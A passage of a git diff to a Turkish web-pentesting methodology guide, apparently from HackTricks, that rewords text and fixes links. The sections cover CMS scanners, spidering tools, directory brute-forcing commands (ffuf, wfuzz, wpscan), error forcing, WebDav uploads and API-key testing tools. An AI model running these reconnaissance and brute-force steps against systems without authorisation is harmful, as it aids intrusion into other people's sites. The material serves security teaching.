- [**Golang**](golang.md)
 | 
			
		||||
@ -86,31 +86,31 @@ Farklı iyi bilinen **teknolojilerdeki** **açıkları** bulmak için bazı **hi
 | 
			
		||||
- [**Laravel**](laravel.md)
 | 
			
		||||
- [**Moodle**](moodle.md)
 | 
			
		||||
- [**Nginx**](nginx.md)
 | 
			
		||||
- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/)
 | 
			
		||||
- [**PHP (php'nin sömürülebilecek birçok ilginç hilesi var)**](php-tricks-esp/index.html)
 | 
			
		||||
- [**Python**](python.md)
 | 
			
		||||
- [**Spring Actuators**](spring-actuators.md)
 | 
			
		||||
- [**Symphony**](symphony.md)
 | 
			
		||||
- [**Tomcat**](tomcat/)
 | 
			
		||||
- [**Tomcat**](tomcat/index.html)
 | 
			
		||||
- [**VMWare**](vmware-esx-vcenter....md)
 | 
			
		||||
- [**Web API Pentesting**](web-api-pentesting.md)
 | 
			
		||||
- [**WebDav**](put-method-webdav.md)
 | 
			
		||||
- [**Werkzeug**](werkzeug.md)
 | 
			
		||||
- [**Wordpress**](wordpress.md)
 | 
			
		||||
- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/)
 | 
			
		||||
- [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/index.html)
 | 
			
		||||
 | 
			
		||||
_Aynı **alan adı** altında **farklı teknolojilerin** farklı **portlar**, **klasörler** ve **alt alan adları** kullanabileceğini dikkate al._\
 | 
			
		||||
Web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **internette** yeni hileler **aramayı** unutmayın (ve bana bildirin!).
 | 
			
		||||
_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** üzerinde **farklı teknolojiler** kullanıyor olabilir._\
 | 
			
		||||
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **internette** yeni hileler **aramayı** unutmayın (ve bana bildirin!).
 | 
			
		||||
 | 
			
		||||
### Kaynak Kodu İncelemesi
 | 
			
		||||
 | 
			
		||||
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **yararlı** olabilecek **bazı bilgiler**:
 | 
			
		||||
 | 
			
		||||
- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren bir şey var mı?
 | 
			
		||||
- **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
 | 
			
		||||
- **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
 | 
			
		||||
- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hashleme algoritması** kullanılıyor?
 | 
			
		||||
- **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
 | 
			
		||||
- Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
 | 
			
		||||
- Herhangi bir **açığı** sömürürek bu dosyalara **erişebilir misiniz**?
 | 
			
		||||
- **Github'da** (çözülen ve çözülmeyen) **sorunlarda** herhangi bir **ilginç bilgi** var mı? Yoksa **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi) mi?
 | 
			
		||||
- Herhangi bir zafiyeti sömürerek **bu dosyalara erişebilir misiniz**?
 | 
			
		||||
- **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**)?
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
code-review-tools.md
 | 
			
		||||
@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 | 
			
		||||
 | 
			
		||||
Eğer bir CMS kullanılıyorsa **bir tarayıcı çalıştırmayı** unutmayın, belki ilginç bir şey bulunur:
 | 
			
		||||
 | 
			
		||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
 | 
			
		||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\
 | 
			
		||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
 | 
			
		||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **veya** [**(M)oodle**](moodle.md)\
 | 
			
		||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 | 
			
		||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
 | 
			
		||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\
 | 
			
		||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 | 
			
		||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\
 | 
			
		||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 | 
			
		||||
```bash
 | 
			
		||||
cmsmap [-f W] -F -d <URL>
 | 
			
		||||
wpscan --force update -e --url <URL>
 | 
			
		||||
joomscan --ec -u <URL>
 | 
			
		||||
joomlavs.rb #https://github.com/rastating/joomlavs
 | 
			
		||||
```
 | 
			
		||||
> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
 | 
			
		||||
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
 | 
			
		||||
 | 
			
		||||
## Adım adım Web Uygulaması Keşfi
 | 
			
		||||
 | 
			
		||||
@ -164,26 +164,26 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 | 
			
		||||
 | 
			
		||||
**Hataları zorlamak**
 | 
			
		||||
 | 
			
		||||
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
 | 
			
		||||
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklıkları** veya **hassas bilgilerin ifşasını** açabilir.
 | 
			
		||||
 | 
			
		||||
- /whatever_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.)
 | 
			
		||||
- **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin
 | 
			
		||||
- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
 | 
			
		||||
- PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin
 | 
			
		||||
- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vbvs)
 | 
			
		||||
- **Cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyerek hatalar oluşturun
 | 
			
		||||
- **URL**'nin **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
 | 
			
		||||
- **PATCH, DEBUG** gibi **farklı HTTP Fiilleri** veya **FAKE** gibi yanlış olanları deneyin
 | 
			
		||||
 | 
			
		||||
#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
 | 
			
		||||
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
 | 
			
		||||
 | 
			
		||||
Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin:
 | 
			
		||||
 | 
			
		||||
- **Kaba kuvvet** ile kimlik bilgilerini deneyin
 | 
			
		||||
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
 | 
			
		||||
- **Kaba kuvvet** ile kimlik bilgilerini denemek
 | 
			
		||||
- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
 | 
			
		||||
 | 
			
		||||
### **SSL/TLS açıkları**
 | 
			
		||||
### **SSL/TLS açıklıkları**
 | 
			
		||||
 | 
			
		||||
- Uygulama **HTTPS kullanıcısını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
 | 
			
		||||
- Uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açık demektir.
 | 
			
		||||
- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'ye karşı **açık** demektir.
 | 
			
		||||
- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açıklıktır.
 | 
			
		||||
 | 
			
		||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin:
 | 
			
		||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıklıkları yeniden kontrol edin:
 | 
			
		||||
```bash
 | 
			
		||||
./testssl.sh [--htmlfile] 10.10.10.10:443
 | 
			
		||||
#Use the --htmlfile to save the output inside an htmlfile also
 | 
			
		||||
@ -194,23 +194,26 @@ sslyze --regular <ip:port>
 | 
			
		||||
```
 | 
			
		||||
SSL/TLS zafiyetleri hakkında bilgi:
 | 
			
		||||
 | 
			
		||||
### Tarama
 | 
			
		||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 | 
			
		||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 | 
			
		||||
 | 
			
		||||
Web üzerinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
 | 
			
		||||
### Spidering
 | 
			
		||||
 | 
			
		||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML tarayıcı, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 | 
			
		||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML tarayıcı, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
 | 
			
		||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML tarayıcı, ayrıca "juicy files" gösterir.
 | 
			
		||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML tarayıcı. Ayrıca Archive.org'da arama yapar.
 | 
			
		||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir tarayıcı değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
 | 
			
		||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML tarayıcı. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
 | 
			
		||||
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML tarayıcı.
 | 
			
		||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik, parametre içeren URL'leri bulacak ve listeleyecektir.
 | 
			
		||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML tarayıcı.
 | 
			
		||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML tarayıcı, JS dosyalarında yeni yollar aramak için JS beautify yeteneklerine sahip. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
 | 
			
		||||
Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
 | 
			
		||||
 | 
			
		||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
 | 
			
		||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
 | 
			
		||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
 | 
			
		||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
 | 
			
		||||
- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
 | 
			
		||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
 | 
			
		||||
- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider.
 | 
			
		||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
 | 
			
		||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider.
 | 
			
		||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
 | 
			
		||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
 | 
			
		||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
 | 
			
		||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır.
 | 
			
		||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
 | 
			
		||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır.
 | 
			
		||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
 | 
			
		||||
- [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
 | 
			
		||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
 | 
			
		||||
@ -220,26 +223,26 @@ Web üzerinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test ed
 | 
			
		||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
 | 
			
		||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın).
 | 
			
		||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
 | 
			
		||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Taraycıdır.
 | 
			
		||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
 | 
			
		||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekteki parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısıdır**.
 | 
			
		||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
 | 
			
		||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
 | 
			
		||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumeration için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**.
 | 
			
		||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
 | 
			
		||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
 | 
			
		||||
 | 
			
		||||
### Dizileri ve dosyaları Brute Force ile kırma
 | 
			
		||||
### Brute Force dizinleri ve dosyaları
 | 
			
		||||
 | 
			
		||||
Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemle bulunan** **tüm dizileri** ve **Spidering** ile **keşfedilen** dizileri brute-force ile kırdığınızdan emin olun (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizilerin adlarını ekleyebilirsiniz).\
 | 
			
		||||
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
 | 
			
		||||
Araçlar:
 | 
			
		||||
 | 
			
		||||
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
 | 
			
		||||
- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş.
 | 
			
		||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir.
 | 
			
		||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yoktur**.
 | 
			
		||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**.
 | 
			
		||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
 | 
			
		||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 | 
			
		||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
 | 
			
		||||
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir tarayıcı değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri silmek için bir araçtır.
 | 
			
		||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı.
 | 
			
		||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): İşlevselliği tekrarlanan URL'leri kaldırır (js importlarına dayalı).
 | 
			
		||||
- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
 | 
			
		||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı.
 | 
			
		||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
 | 
			
		||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
 | 
			
		||||
 | 
			
		||||
**Tavsiye edilen sözlükler:**
 | 
			
		||||
@ -261,41 +264,41 @@ Araçlar:
 | 
			
		||||
- _/usr/share/wordlists/dirb/big.txt_
 | 
			
		||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 | 
			
		||||
 | 
			
		||||
_Bruteforcing veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._
 | 
			
		||||
_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._
 | 
			
		||||
 | 
			
		||||
### Bulunan her dosyada kontrol edilecekler
 | 
			
		||||
 | 
			
		||||
- [**Kırık bağlantı kontrolörü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirme riski taşıyan HTML'ler içindeki kırık bağlantıları bulun.
 | 
			
		||||
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırma için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
 | 
			
		||||
- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
 | 
			
		||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur.
 | 
			
		||||
- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
 | 
			
		||||
- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
 | 
			
		||||
- _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 | 
			
		||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 | 
			
		||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 | 
			
		||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 | 
			
		||||
- **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
 | 
			
		||||
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
 | 
			
		||||
- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve web sayfasının **altında** bir yorumda **bilgileri gizlemektir**.
 | 
			
		||||
- **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 | 
			
		||||
- Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
 | 
			
		||||
- **S3 Buckets**: Tarama sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin**](buckets/).
 | 
			
		||||
- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket**'ları ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/index.html).
 | 
			
		||||
 | 
			
		||||
### Özel bulgular
 | 
			
		||||
 | 
			
		||||
**Tarama** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz.
 | 
			
		||||
**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz.
 | 
			
		||||
 | 
			
